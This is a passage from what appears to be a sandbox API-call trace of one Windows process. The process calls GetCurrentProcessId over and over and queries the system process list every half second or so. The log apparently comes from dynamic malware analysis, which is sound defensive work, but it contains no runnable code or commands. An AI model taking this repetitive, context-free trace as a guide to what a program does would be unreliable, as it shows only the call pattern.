GetCurrentProcessId () returned 0xbf4 [0269.861] GetCurrentProcessId () returned 0xbf4 [0269.861] GetCurrentProcessId () returned 0xbf4 [0269.861] GetCurrentProcessId () returned 0xbf4 [0269.861] GetCurrentProcessId () returned 0xbf4 [0269.861] GetCurrentProcessId () returned 0xbf4 [0269.861] GetCurrentProcessId () returned 0xbf4 [0269.861] GetCurrentProcessId () returned 0xbf4 [0269.861] GetCurrentProcessId () returned 0xbf4 [0269.861] GetCurrentProcessId () returned 0xbf4 [0269.861] GetCurrentProcessId () returned 0xbf4 [0269.861] GetCurrentProcessId () returned 0xbf4 [0269.861] GetCurrentProcessId () returned 0xbf4 [0269.861] GetCurrentProcessId () returned 0xbf4 [0269.861] GetCurrentProcessId () returned 0xbf4 [0269.861] GetCurrentProcessId () returned 0xbf4 [0269.861] GetCurrentProcessId () returned 0xbf4 [0269.861] GetCurrentProcessId () returned 0xbf4 [0269.861] GetCurrentProcessId () returned 0xbf4 [0269.861] GetCurrentProcessId () returned 0xbf4 [0269.861] GetCurrentProcessId () returned 0xbf4 [0269.861] GetCurrentProcessId () returned 0xbf4 [0269.861] GetCurrentProcessId () returned 0xbf4 [0269.861] GetCurrentProcessId () returned 0xbf4 [0269.862] GetCurrentProcessId () returned 0xbf4 [0269.862] GetCurrentProcessId () returned 0xbf4 [0269.862] GetCurrentProcessId () returned 0xbf4 [0269.862] GetCurrentProcessId () returned 0xbf4 [0269.862] GetCurrentProcessId () returned 0xbf4 [0269.862] GetCurrentProcessId () returned 0xbf4 [0269.862] GetCurrentProcessId () returned 0xbf4 [0269.862] GetCurrentProcessId () returned 0xbf4 [0269.862] GetCurrentProcessId () returned 0xbf4 [0269.862] GetCurrentProcessId () returned 0xbf4 [0269.862] GetCurrentProcessId () returned 0xbf4 [0269.862] GetCurrentProcessId () returned 0xbf4 [0269.862] GetCurrentProcessId () returned 0xbf4 [0269.862] GetCurrentProcessId () returned 0xbf4 [0269.862] GetCurrentProcessId () returned 0xbf4 [0269.862] GetCurrentProcessId () returned 0xbf4 [0269.863] GetCurrentProcessId () returned 0xbf4 [0269.863] GetCurrentProcessId () returned 0xbf4 [0269.863] GetCurrentProcessId () returned 0xbf4 [0269.863] GetCurrentProcessId () returned 0xbf4 [0269.863] GetCurrentProcessId () returned 0xbf4 [0269.863] GetCurrentProcessId () returned 0xbf4 [0269.863] GetCurrentProcessId () returned 0xbf4 [0269.863] GetCurrentProcessId () returned 0xbf4 [0269.863] GetCurrentProcessId () returned 0xbf4 [0269.863] GetCurrentProcessId () returned 0xbf4 [0269.863] GetCurrentProcessId () returned 0xbf4 [0269.863] GetCurrentProcessId () returned 0xbf4 [0269.863] GetCurrentProcessId () returned 0xbf4 [0269.863] GetCurrentProcessId () returned 0xbf4 [0269.863] GetCurrentProcessId () returned 0xbf4 [0269.863] GetCurrentProcessId () returned 0xbf4 [0269.863] GetCurrentProcessId () returned 0xbf4 [0269.863] GetCurrentProcessId () returned 0xbf4 [0269.863] GetCurrentProcessId () returned 0xbf4 [0269.863] GetCurrentProcessId () returned 0xbf4 [0269.863] GetCurrentProcessId () returned 0xbf4 [0269.863] GetCurrentProcessId () returned 0xbf4 [0269.863] GetCurrentProcessId () returned 0xbf4 [0269.863] GetCurrentProcessId () returned 0xbf4 [0269.863] GetCurrentProcessId () returned 0xbf4 [0269.863] GetCurrentProcessId () returned 0xbf4 [0269.863] GetCurrentProcessId () returned 0xbf4 [0269.863] GetCurrentProcessId () returned 0xbf4 [0269.864] GetCurrentProcessId () returned 0xbf4 [0269.864] GetCurrentProcessId () returned 0xbf4 [0269.864] GetCurrentProcessId () returned 0xbf4 [0269.864] GetCurrentProcessId () returned 0xbf4 [0269.864] GetCurrentProcessId () returned 0xbf4 [0269.864] GetCurrentProcessId () returned 0xbf4 [0269.864] GetCurrentProcessId () returned 0xbf4 [0269.864] GetCurrentProcessId () returned 0xbf4 [0269.864] GetCurrentProcessId () returned 0xbf4 [0270.389] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c950) returned 0x0 [0270.391] GetCurrentProcessId () returned 0xbf4 [0270.391] GetCurrentProcessId () returned 0xbf4 [0270.391] GetCurrentProcessId () returned 0xbf4 [0270.391] GetCurrentProcessId () returned 0xbf4 [0270.391] GetCurrentProcessId () returned 0xbf4 [0270.392] GetCurrentProcessId () returned 0xbf4 [0270.392] GetCurrentProcessId () returned 0xbf4 [0270.392] GetCurrentProcessId () returned 0xbf4 [0270.392] GetCurrentProcessId () returned 0xbf4 [0270.392] GetCurrentProcessId () returned 0xbf4 [0270.392] GetCurrentProcessId () returned 0xbf4 [0270.392] GetCurrentProcessId () returned 0xbf4 [0270.392] GetCurrentProcessId () returned 0xbf4 [0270.392] GetCurrentProcessId () returned 0xbf4 [0270.392] GetCurrentProcessId () returned 0xbf4 [0270.392] GetCurrentProcessId () returned 0xbf4 [0270.392] GetCurrentProcessId () returned 0xbf4 [0270.392] GetCurrentProcessId () returned 0xbf4 [0270.392] GetCurrentProcessId () returned 0xbf4 [0270.392] GetCurrentProcessId () returned 0xbf4 [0270.392] GetCurrentProcessId () returned 0xbf4 [0270.392] GetCurrentProcessId () returned 0xbf4 [0270.392] GetCurrentProcessId () returned 0xbf4 [0270.392] GetCurrentProcessId () returned 0xbf4 [0270.392] GetCurrentProcessId () returned 0xbf4 [0270.392] GetCurrentProcessId () returned 0xbf4 [0270.392] GetCurrentProcessId () returned 0xbf4 [0270.392] GetCurrentProcessId () returned 0xbf4 [0270.392] GetCurrentProcessId () returned 0xbf4 [0270.392] GetCurrentProcessId () returned 0xbf4 [0270.392] GetCurrentProcessId () returned 0xbf4 [0270.392] GetCurrentProcessId () returned 0xbf4 [0270.392] GetCurrentProcessId () returned 0xbf4 [0270.392] GetCurrentProcessId () returned 0xbf4 [0270.392] GetCurrentProcessId () returned 0xbf4 [0270.392] GetCurrentProcessId () returned 0xbf4 [0270.392] GetCurrentProcessId () returned 0xbf4 [0270.392] GetCurrentProcessId () returned 0xbf4 [0270.392] GetCurrentProcessId () returned 0xbf4 [0270.392] GetCurrentProcessId () returned 0xbf4 [0270.392] GetCurrentProcessId () returned 0xbf4 [0270.392] GetCurrentProcessId () returned 0xbf4 [0270.393] GetCurrentProcessId () returned 0xbf4 [0270.393] GetCurrentProcessId () returned 0xbf4 [0270.393] GetCurrentProcessId () returned 0xbf4 [0270.393] GetCurrentProcessId () returned 0xbf4 [0270.393] GetCurrentProcessId () returned 0xbf4 [0270.393] GetCurrentProcessId () returned 0xbf4 [0270.393] GetCurrentProcessId () returned 0xbf4 [0270.393] GetCurrentProcessId () returned 0xbf4 [0270.393] GetCurrentProcessId () returned 0xbf4 [0270.393] GetCurrentProcessId () returned 0xbf4 [0270.393] GetCurrentProcessId () returned 0xbf4 [0270.393] GetCurrentProcessId () returned 0xbf4 [0270.393] GetCurrentProcessId () returned 0xbf4 [0270.393] GetCurrentProcessId () returned 0xbf4 [0270.393] GetCurrentProcessId () returned 0xbf4 [0270.393] GetCurrentProcessId () returned 0xbf4 [0270.393] GetCurrentProcessId () returned 0xbf4 [0270.393] GetCurrentProcessId () returned 0xbf4 [0270.393] GetCurrentProcessId () returned 0xbf4 [0270.393] GetCurrentProcessId () returned 0xbf4 [0270.393] GetCurrentProcessId () returned 0xbf4 [0270.393] GetCurrentProcessId () returned 0xbf4 [0270.393] GetCurrentProcessId () returned 0xbf4 [0270.393] GetCurrentProcessId () returned 0xbf4 [0270.393] GetCurrentProcessId () returned 0xbf4 [0270.393] GetCurrentProcessId () returned 0xbf4 [0270.393] GetCurrentProcessId () returned 0xbf4 [0270.393] GetCurrentProcessId () returned 0xbf4 [0270.393] GetCurrentProcessId () returned 0xbf4 [0270.393] GetCurrentProcessId () returned 0xbf4 [0270.393] GetCurrentProcessId () returned 0xbf4 [0270.393] GetCurrentProcessId () returned 0xbf4 [0270.393] GetCurrentProcessId () returned 0xbf4 [0270.393] GetCurrentProcessId () returned 0xbf4 [0270.393] GetCurrentProcessId () returned 0xbf4 [0270.393] GetCurrentProcessId () returned 0xbf4 [0270.394] GetCurrentProcessId () returned 0xbf4 [0270.394] GetCurrentProcessId () returned 0xbf4 [0270.394] GetCurrentProcessId () returned 0xbf4 [0270.394] GetCurrentProcessId () returned 0xbf4 [0270.394] GetCurrentProcessId () returned 0xbf4 [0270.394] GetCurrentProcessId () returned 0xbf4 [0270.394] GetCurrentProcessId () returned 0xbf4 [0270.394] GetCurrentProcessId () returned 0xbf4 [0270.394] GetCurrentProcessId () returned 0xbf4 [0270.394] GetCurrentProcessId () returned 0xbf4 [0270.394] GetCurrentProcessId () returned 0xbf4 [0270.394] GetCurrentProcessId () returned 0xbf4 [0270.394] GetCurrentProcessId () returned 0xbf4 [0270.394] GetCurrentProcessId () returned 0xbf4 [0270.394] GetCurrentProcessId () returned 0xbf4 [0270.394] GetCurrentProcessId () returned 0xbf4 [0270.394] GetCurrentProcessId () returned 0xbf4 [0270.394] GetCurrentProcessId () returned 0xbf4 [0270.394] GetCurrentProcessId () returned 0xbf4 [0270.394] GetCurrentProcessId () returned 0xbf4 [0270.394] GetCurrentProcessId () returned 0xbf4 [0270.394] GetCurrentProcessId () returned 0xbf4 [0270.394] GetCurrentProcessId () returned 0xbf4 [0270.394] GetCurrentProcessId () returned 0xbf4 [0270.394] GetCurrentProcessId () returned 0xbf4 [0270.394] GetCurrentProcessId () returned 0xbf4 [0270.394] GetCurrentProcessId () returned 0xbf4 [0270.394] GetCurrentProcessId () returned 0xbf4 [0270.394] GetCurrentProcessId () returned 0xbf4 [0270.911] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c950) returned 0x0 [0270.914] GetCurrentProcessId () returned 0xbf4 [0270.914] GetCurrentProcessId () returned 0xbf4 [0270.914] GetCurrentProcessId () returned 0xbf4 [0270.914] GetCurrentProcessId () returned 0xbf4 [0270.914] GetCurrentProcessId () returned 0xbf4 [0270.914] GetCurrentProcessId () returned 0xbf4 [0270.914] GetCurrentProcessId () returned 0xbf4 [0270.914] GetCurrentProcessId () returned 0xbf4 [0270.914] GetCurrentProcessId () returned 0xbf4 [0270.914] GetCurrentProcessId () returned 0xbf4 [0270.914] GetCurrentProcessId () returned 0xbf4 [0270.914] GetCurrentProcessId () returned 0xbf4 [0270.914] GetCurrentProcessId () returned 0xbf4 [0270.914] GetCurrentProcessId () returned 0xbf4 [0270.914] GetCurrentProcessId () returned 0xbf4 [0270.914] GetCurrentProcessId () returned 0xbf4 [0270.914] GetCurrentProcessId () returned 0xbf4 [0270.914] GetCurrentProcessId () returned 0xbf4 [0270.914] GetCurrentProcessId () returned 0xbf4 [0270.915] GetCurrentProcessId () returned 0xbf4 [0270.915] GetCurrentProcessId () returned 0xbf4 [0270.915] GetCurrentProcessId () returned 0xbf4 [0270.915] GetCurrentProcessId () returned 0xbf4 [0270.915] GetCurrentProcessId () returned 0xbf4 [0270.915] GetCurrentProcessId () returned 0xbf4 [0270.915] GetCurrentProcessId () returned 0xbf4 [0270.915] GetCurrentProcessId () returned 0xbf4 [0270.915] GetCurrentProcessId () returned 0xbf4 [0270.915] GetCurrentProcessId () returned 0xbf4 [0270.915] GetCurrentProcessId () returned 0xbf4 [0270.915] GetCurrentProcessId () returned 0xbf4 [0270.915] GetCurrentProcessId () returned 0xbf4 [0270.915] GetCurrentProcessId () returned 0xbf4 [0270.915] GetCurrentProcessId () returned 0xbf4 [0270.915] GetCurrentProcessId () returned 0xbf4 [0270.915] GetCurrentProcessId () returned 0xbf4 [0270.915] GetCurrentProcessId () returned 0xbf4 [0270.915] GetCurrentProcessId () returned 0xbf4 [0270.915] GetCurrentProcessId () returned 0xbf4 [0270.915] GetCurrentProcessId () returned 0xbf4 [0270.915] GetCurrentProcessId () returned 0xbf4 [0270.915] GetCurrentProcessId () returned 0xbf4 [0270.915] GetCurrentProcessId () returned 0xbf4 [0270.915] GetCurrentProcessId () returned 0xbf4 [0270.915] GetCurrentProcessId () returned 0xbf4 [0270.915] GetCurrentProcessId () returned 0xbf4 [0270.915] GetCurrentProcessId () returned 0xbf4 [0270.915] GetCurrentProcessId () returned 0xbf4 [0270.915] GetCurrentProcessId () returned 0xbf4 [0270.915] GetCurrentProcessId () returned 0xbf4 [0270.915] GetCurrentProcessId () returned 0xbf4 [0270.915] GetCurrentProcessId () returned 0xbf4 [0270.915] GetCurrentProcessId () returned 0xbf4 [0270.915] GetCurrentProcessId () returned 0xbf4 [0270.915] GetCurrentProcessId () returned 0xbf4 [0270.916] GetCurrentProcessId () returned 0xbf4 [0270.916] GetCurrentProcessId () returned 0xbf4 [0270.916] GetCurrentProcessId () returned 0xbf4 [0270.916] GetCurrentProcessId () returned 0xbf4 [0270.916] GetCurrentProcessId () returned 0xbf4 [0270.916] GetCurrentProcessId () returned 0xbf4 [0270.916] GetCurrentProcessId () returned 0xbf4 [0270.916] GetCurrentProcessId () returned 0xbf4 [0270.916] GetCurrentProcessId () returned 0xbf4 [0270.916] GetCurrentProcessId () returned 0xbf4 [0270.916] GetCurrentProcessId () returned 0xbf4 [0270.916] GetCurrentProcessId () returned 0xbf4 [0270.916] GetCurrentProcessId () returned 0xbf4 [0270.916] GetCurrentProcessId () returned 0xbf4 [0270.916] GetCurrentProcessId () returned 0xbf4 [0270.916] GetCurrentProcessId () returned 0xbf4 [0270.916] GetCurrentProcessId () returned 0xbf4 [0270.916] GetCurrentProcessId () returned 0xbf4 [0270.916] GetCurrentProcessId () returned 0xbf4 [0270.916] GetCurrentProcessId () returned 0xbf4 [0270.916] GetCurrentProcessId () returned 0xbf4 [0270.916] GetCurrentProcessId () returned 0xbf4 [0270.916] GetCurrentProcessId () returned 0xbf4 [0270.916] GetCurrentProcessId () returned 0xbf4 [0270.916] GetCurrentProcessId () returned 0xbf4 [0270.916] GetCurrentProcessId () returned 0xbf4 [0270.916] GetCurrentProcessId () returned 0xbf4 [0270.916] GetCurrentProcessId () returned 0xbf4 [0270.916] GetCurrentProcessId () returned 0xbf4 [0270.916] GetCurrentProcessId () returned 0xbf4 [0270.916] GetCurrentProcessId () returned 0xbf4 [0270.916] GetCurrentProcessId () returned 0xbf4 [0270.916] GetCurrentProcessId () returned 0xbf4 [0270.916] GetCurrentProcessId () returned 0xbf4 [0270.916] GetCurrentProcessId () returned 0xbf4 [0270.916] GetCurrentProcessId () returned 0xbf4 [0270.917] GetCurrentProcessId () returned 0xbf4 [0270.917] GetCurrentProcessId () returned 0xbf4 [0270.917] GetCurrentProcessId () returned 0xbf4 [0270.917] GetCurrentProcessId () returned 0xbf4 [0270.917] GetCurrentProcessId () returned 0xbf4 [0270.917] GetCurrentProcessId () returned 0xbf4 [0270.917] GetCurrentProcessId () returned 0xbf4 [0270.917] GetCurrentProcessId () returned 0xbf4 [0270.917] GetCurrentProcessId () returned 0xbf4 [0270.917] GetCurrentProcessId () returned 0xbf4 [0270.917] GetCurrentProcessId () returned 0xbf4 [0270.917] GetCurrentProcessId () returned 0xbf4 [0270.917] GetCurrentProcessId () returned 0xbf4 [0270.917] GetCurrentProcessId () returned 0xbf4 [0270.917] GetCurrentProcessId () returned 0xbf4 [0270.917] GetCurrentProcessId () returned 0xbf4 [0271.425] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c950) returned 0x0 [0271.484] GetCurrentProcessId () returned 0xbf4 [0271.484] GetCurrentProcessId () returned 0xbf4 [0271.484] GetCurrentProcessId () returned 0xbf4 [0271.484] GetCurrentProcessId () returned 0xbf4 [0271.484] GetCurrentProcessId () returned 0xbf4 [0271.484] GetCurrentProcessId () returned 0xbf4 [0271.485] GetCurrentProcessId () returned 0xbf4 [0271.485] GetCurrentProcessId () returned 0xbf4 [0271.485] GetCurrentProcessId () returned 0xbf4 [0271.485] GetCurrentProcessId () returned 0xbf4 [0271.485] GetCurrentProcessId () returned 0xbf4 [0271.485] GetCurrentProcessId () returned 0xbf4 [0271.485] GetCurrentProcessId () returned 0xbf4 [0271.485] GetCurrentProcessId () returned 0xbf4 [0271.485] GetCurrentProcessId () returned 0xbf4 [0271.485] GetCurrentProcessId () returned 0xbf4 [0271.485] GetCurrentProcessId () returned 0xbf4 [0271.485] GetCurrentProcessId () returned 0xbf4 [0271.485] GetCurrentProcessId () returned 0xbf4 [0271.485] GetCurrentProcessId () returned 0xbf4 [0271.485] GetCurrentProcessId () returned 0xbf4 [0271.485] GetCurrentProcessId () returned 0xbf4 [0271.485] GetCurrentProcessId () returned 0xbf4 [0271.485] GetCurrentProcessId () returned 0xbf4 [0271.485] GetCurrentProcessId () returned 0xbf4 [0271.485] GetCurrentProcessId () returned 0xbf4 [0271.485] GetCurrentProcessId () returned 0xbf4 [0271.485] GetCurrentProcessId () returned 0xbf4 [0271.485] GetCurrentProcessId () returned 0xbf4 [0271.485] GetCurrentProcessId () returned 0xbf4 [0271.485] GetCurrentProcessId () returned 0xbf4 [0271.485] GetCurrentProcessId () returned 0xbf4 [0271.485] GetCurrentProcessId () returned 0xbf4 [0271.485] GetCurrentProcessId () returned 0xbf4 [0271.485] GetCurrentProcessId () returned 0xbf4 [0271.485] GetCurrentProcessId () returned 0xbf4 [0271.485] GetCurrentProcessId () returned 0xbf4 [0271.485] GetCurrentProcessId () returned 0xbf4 [0271.485] GetCurrentProcessId () returned 0xbf4 [0271.485] GetCurrentProcessId () returned 0xbf4 [0271.485] GetCurrentProcessId () returned 0xbf4 [0271.486] GetCurrentProcessId () returned 0xbf4 [0271.486] GetCurrentProcessId () returned 0xbf4 [0271.486] GetCurrentProcessId () returned 0xbf4 [0271.486] GetCurrentProcessId () returned 0xbf4 [0271.486] GetCurrentProcessId () returned 0xbf4 [0271.486] GetCurrentProcessId () returned 0xbf4 [0271.486] GetCurrentProcessId () returned 0xbf4 [0271.486] GetCurrentProcessId () returned 0xbf4 [0271.486] GetCurrentProcessId () returned 0xbf4 [0271.486] GetCurrentProcessId () returned 0xbf4 [0271.486] GetCurrentProcessId () returned 0xbf4 [0271.486] GetCurrentProcessId () returned 0xbf4 [0271.486] GetCurrentProcessId () returned 0xbf4 [0271.486] GetCurrentProcessId () returned 0xbf4 [0271.486] GetCurrentProcessId () returned 0xbf4 [0271.486] GetCurrentProcessId () returned 0xbf4 [0271.486] GetCurrentProcessId () returned 0xbf4 [0271.486] GetCurrentProcessId () returned 0xbf4 [0271.486] GetCurrentProcessId () returned 0xbf4 [0271.486] GetCurrentProcessId () returned 0xbf4 [0271.486] GetCurrentProcessId () returned 0xbf4 [0271.486] GetCurrentProcessId () returned 0xbf4 [0271.486] GetCurrentProcessId () returned 0xbf4 [0271.486] GetCurrentProcessId () returned 0xbf4 [0271.486] GetCurrentProcessId () returned 0xbf4 [0271.486] GetCurrentProcessId () returned 0xbf4 [0271.486] GetCurrentProcessId () returned 0xbf4 [0271.486] GetCurrentProcessId () returned 0xbf4 [0271.486] GetCurrentProcessId () returned 0xbf4 [0271.486] GetCurrentProcessId () returned 0xbf4 [0271.486] GetCurrentProcessId () returned 0xbf4 [0271.486] GetCurrentProcessId () returned 0xbf4 [0271.486] GetCurrentProcessId () returned 0xbf4 [0271.486] GetCurrentProcessId () returned 0xbf4 [0271.486] GetCurrentProcessId () returned 0xbf4 [0271.486] GetCurrentProcessId () returned 0xbf4 [0271.487] GetCurrentProcessId () returned 0xbf4 [0271.487] GetCurrentProcessId () returned 0xbf4 [0271.487] GetCurrentProcessId () returned 0xbf4 [0271.487] GetCurrentProcessId () returned 0xbf4 [0271.487] GetCurrentProcessId () returned 0xbf4 [0271.487] GetCurrentProcessId () returned 0xbf4 [0271.487] GetCurrentProcessId () returned 0xbf4 [0271.487] GetCurrentProcessId () returned 0xbf4 [0271.487] GetCurrentProcessId () returned 0xbf4 [0271.487] GetCurrentProcessId () returned 0xbf4 [0271.487] GetCurrentProcessId () returned 0xbf4 [0271.487] GetCurrentProcessId () returned 0xbf4 [0271.487] GetCurrentProcessId () returned 0xbf4 [0271.487] GetCurrentProcessId () returned 0xbf4 [0271.487] GetCurrentProcessId () returned 0xbf4 [0271.487] GetCurrentProcessId () returned 0xbf4 [0271.487] GetCurrentProcessId () returned 0xbf4 [0271.487] GetCurrentProcessId () returned 0xbf4 [0271.487] GetCurrentProcessId () returned 0xbf4 [0271.487] GetCurrentProcessId () returned 0xbf4 [0271.487] GetCurrentProcessId () returned 0xbf4 [0271.490] GetCurrentProcessId () returned 0xbf4 [0271.490] GetCurrentProcessId () returned 0xbf4 [0271.490] GetCurrentProcessId () returned 0xbf4 [0271.490] GetCurrentProcessId () returned 0xbf4 [0271.490] GetCurrentProcessId () returned 0xbf4 [0271.490] GetCurrentProcessId () returned 0xbf4 [0271.490] GetCurrentProcessId () returned 0xbf4 [0271.490] GetCurrentProcessId () returned 0xbf4 [0271.490] GetCurrentProcessId () returned 0xbf4 [0272.001] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c950) returned 0x0 [0272.008] GetCurrentProcessId () returned 0xbf4 [0272.008] GetCurrentProcessId () returned 0xbf4 [0272.008] GetCurrentProcessId () returned 0xbf4 [0272.008] GetCurrentProcessId () returned 0xbf4 [0272.008] GetCurrentProcessId () returned 0xbf4 [0272.008] GetCurrentProcessId () returned 0xbf4 [0272.008] GetCurrentProcessId () returned 0xbf4 [0272.008] GetCurrentProcessId () returned 0xbf4 [0272.008] GetCurrentProcessId () returned 0xbf4 [0272.008] GetCurrentProcessId () returned 0xbf4 [0272.008] GetCurrentProcessId () returned 0xbf4 [0272.008] GetCurrentProcessId () returned 0xbf4 [0272.008] GetCurrentProcessId () returned 0xbf4 [0272.008] GetCurrentProcessId () returned 0xbf4 [0272.008] GetCurrentProcessId () returned 0xbf4 [0272.009] GetCurrentProcessId () returned 0xbf4 [0272.009] GetCurrentProcessId () returned 0xbf4 [0272.009] GetCurrentProcessId () returned 0xbf4 [0272.009] GetCurrentProcessId () returned 0xbf4 [0272.009] GetCurrentProcessId () returned 0xbf4 [0272.009] GetCurrentProcessId () returned 0xbf4 [0272.009] GetCurrentProcessId () returned 0xbf4 [0272.009] GetCurrentProcessId () returned 0xbf4 [0272.009] GetCurrentProcessId () returned 0xbf4 [0272.009] GetCurrentProcessId () returned 0xbf4 [0272.009] GetCurrentProcessId () returned 0xbf4 [0272.009] GetCurrentProcessId () returned 0xbf4 [0272.009] GetCurrentProcessId () returned 0xbf4 [0272.009] GetCurrentProcessId () returned 0xbf4 [0272.009] GetCurrentProcessId () returned 0xbf4 [0272.009] GetCurrentProcessId () returned 0xbf4 [0272.009] GetCurrentProcessId () returned 0xbf4 [0272.009] GetCurrentProcessId () returned 0xbf4 [0272.009] GetCurrentProcessId () returned 0xbf4 [0272.009] GetCurrentProcessId () returned 0xbf4 [0272.009] GetCurrentProcessId () returned 0xbf4 [0272.009] GetCurrentProcessId () returned 0xbf4 [0272.009] GetCurrentProcessId () returned 0xbf4 [0272.009] GetCurrentProcessId () returned 0xbf4 [0272.009] GetCurrentProcessId () returned 0xbf4 [0272.009] GetCurrentProcessId () returned 0xbf4 [0272.010] GetCurrentProcessId () returned 0xbf4 [0272.010] GetCurrentProcessId () returned 0xbf4 [0272.010] GetCurrentProcessId () returned 0xbf4 [0272.010] GetCurrentProcessId () returned 0xbf4 [0272.010] GetCurrentProcessId () returned 0xbf4 [0272.010] GetCurrentProcessId () returned 0xbf4 [0272.010] GetCurrentProcessId () returned 0xbf4 [0272.010] GetCurrentProcessId () returned 0xbf4 [0272.010] GetCurrentProcessId () returned 0xbf4 [0272.010] GetCurrentProcessId () returned 0xbf4 [0272.010] GetCurrentProcessId () returned 0xbf4 [0272.010] GetCurrentProcessId () returned 0xbf4 [0272.010] GetCurrentProcessId () returned 0xbf4 [0272.010] GetCurrentProcessId () returned 0xbf4 [0272.010] GetCurrentProcessId () returned 0xbf4 [0272.010] GetCurrentProcessId () returned 0xbf4 [0272.010] GetCurrentProcessId () returned 0xbf4 [0272.010] GetCurrentProcessId () returned 0xbf4 [0272.010] GetCurrentProcessId () returned 0xbf4 [0272.010] GetCurrentProcessId () returned 0xbf4 [0272.010] GetCurrentProcessId () returned 0xbf4 [0272.010] GetCurrentProcessId () returned 0xbf4 [0272.010] GetCurrentProcessId () returned 0xbf4 [0272.010] GetCurrentProcessId () returned 0xbf4 [0272.010] GetCurrentProcessId () returned 0xbf4 [0272.010] GetCurrentProcessId () returned 0xbf4 [0272.010] GetCurrentProcessId () returned 0xbf4 [0272.010] GetCurrentProcessId () returned 0xbf4 [0272.011] GetCurrentProcessId () returned 0xbf4 [0272.011] GetCurrentProcessId () returned 0xbf4 [0272.011] GetCurrentProcessId () returned 0xbf4 [0272.011] GetCurrentProcessId () returned 0xbf4 [0272.011] GetCurrentProcessId () returned 0xbf4 [0272.011] GetCurrentProcessId () returned 0xbf4 [0272.011] GetCurrentProcessId () returned 0xbf4 [0272.011] GetCurrentProcessId () returned 0xbf4 [0272.011] GetCurrentProcessId () returned 0xbf4 [0272.011] GetCurrentProcessId () returned 0xbf4 [0272.011] GetCurrentProcessId () returned 0xbf4 [0272.011] GetCurrentProcessId () returned 0xbf4 [0272.011] GetCurrentProcessId () returned 0xbf4 [0272.011] GetCurrentProcessId () returned 0xbf4 [0272.011] GetCurrentProcessId () returned 0xbf4 [0272.011] GetCurrentProcessId () returned 0xbf4 [0272.011] GetCurrentProcessId () returned 0xbf4 [0272.011] GetCurrentProcessId () returned 0xbf4 [0272.011] GetCurrentProcessId () returned 0xbf4 [0272.011] GetCurrentProcessId () returned 0xbf4 [0272.011] GetCurrentProcessId () returned 0xbf4 [0272.011] GetCurrentProcessId () returned 0xbf4 [0272.011] GetCurrentProcessId () returned 0xbf4 [0272.011] GetCurrentProcessId () returned 0xbf4 [0272.011] GetCurrentProcessId () returned 0xbf4 [0272.011] GetCurrentProcessId () returned 0xbf4 [0272.011] GetCurrentProcessId () returned 0xbf4 [0272.011] GetCurrentProcessId () returned 0xbf4 [0272.011] GetCurrentProcessId () returned 0xbf4 [0272.011] GetCurrentProcessId () returned 0xbf4 [0272.012] GetCurrentProcessId () returned 0xbf4 [0272.012] GetCurrentProcessId () returned 0xbf4 [0272.012] GetCurrentProcessId () returned 0xbf4 [0272.012] GetCurrentProcessId () returned 0xbf4 [0272.012] GetCurrentProcessId () returned 0xbf4 [0272.012] GetCurrentProcessId () returned 0xbf4 [0272.012] GetCurrentProcessId () returned 0xbf4 [0272.012] GetCurrentProcessId () returned 0xbf4 [0272.548] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c950) returned 0x0 [0272.553] GetCurrentProcessId () returned 0xbf4 [0272.553] GetCurrentProcessId () returned 0xbf4 [0272.553] GetCurrentProcessId () returned 0xbf4 [0272.553] GetCurrentProcessId () returned 0xbf4 [0272.553] GetCurrentProcessId () returned 0xbf4 [0272.553] GetCurrentProcessId () returned 0xbf4 [0272.553] GetCurrentProcessId () returned 0xbf4 [0272.553] GetCurrentProcessId () returned 0xbf4 [0272.553] GetCurrentProcessId () returned 0xbf4 [0272.553] GetCurrentProcessId () returned 0xbf4 [0272.553] GetCurrentProcessId () returned 0xbf4 [0272.553] GetCurrentProcessId () returned 0xbf4 [0272.553] GetCurrentProcessId () returned 0xbf4 [0272.553] GetCurrentProcessId () returned 0xbf4 [0272.553] GetCurrentProcessId () returned 0xbf4 [0272.553] GetCurrentProcessId () returned 0xbf4 [0272.553] GetCurrentProcessId () returned 0xbf4 [0272.553] GetCurrentProcessId () returned 0xbf4 [0272.554] GetCurrentProcessId () returned 0xbf4 [0272.554] GetCurrentProcessId () returned 0xbf4 [0272.554] GetCurrentProcessId () returned 0xbf4 [0272.554] GetCurrentProcessId () returned 0xbf4 [0272.554] GetCurrentProcessId () returned 0xbf4 [0272.554] GetCurrentProcessId () returned 0xbf4 [0272.554] GetCurrentProcessId () returned 0xbf4 [0272.554] GetCurrentProcessId () returned 0xbf4 [0272.554] GetCurrentProcessId () returned 0xbf4 [0272.554] GetCurrentProcessId () returned 0xbf4 [0272.554] GetCurrentProcessId () returned 0xbf4 [0272.554] GetCurrentProcessId () returned 0xbf4 [0272.554] GetCurrentProcessId () returned 0xbf4 [0272.554] GetCurrentProcessId () returned 0xbf4 [0272.554] GetCurrentProcessId () returned 0xbf4 [0272.554] GetCurrentProcessId () returned 0xbf4 [0272.554] GetCurrentProcessId () returned 0xbf4 [0272.554] GetCurrentProcessId () returned 0xbf4 [0272.554] GetCurrentProcessId () returned 0xbf4 [0272.554] GetCurrentProcessId () returned 0xbf4 [0272.555] GetCurrentProcessId () returned 0xbf4 [0272.555] GetCurrentProcessId () returned 0xbf4 [0272.555] GetCurrentProcessId () returned 0xbf4 [0272.555] GetCurrentProcessId () returned 0xbf4 [0272.555] GetCurrentProcessId () returned 0xbf4 [0272.555] GetCurrentProcessId () returned 0xbf4 [0272.555] GetCurrentProcessId () returned 0xbf4 [0272.555] GetCurrentProcessId () returned 0xbf4 [0272.555] GetCurrentProcessId () returned 0xbf4 [0272.555] GetCurrentProcessId () returned 0xbf4 [0272.555] GetCurrentProcessId () returned 0xbf4 [0272.555] GetCurrentProcessId () returned 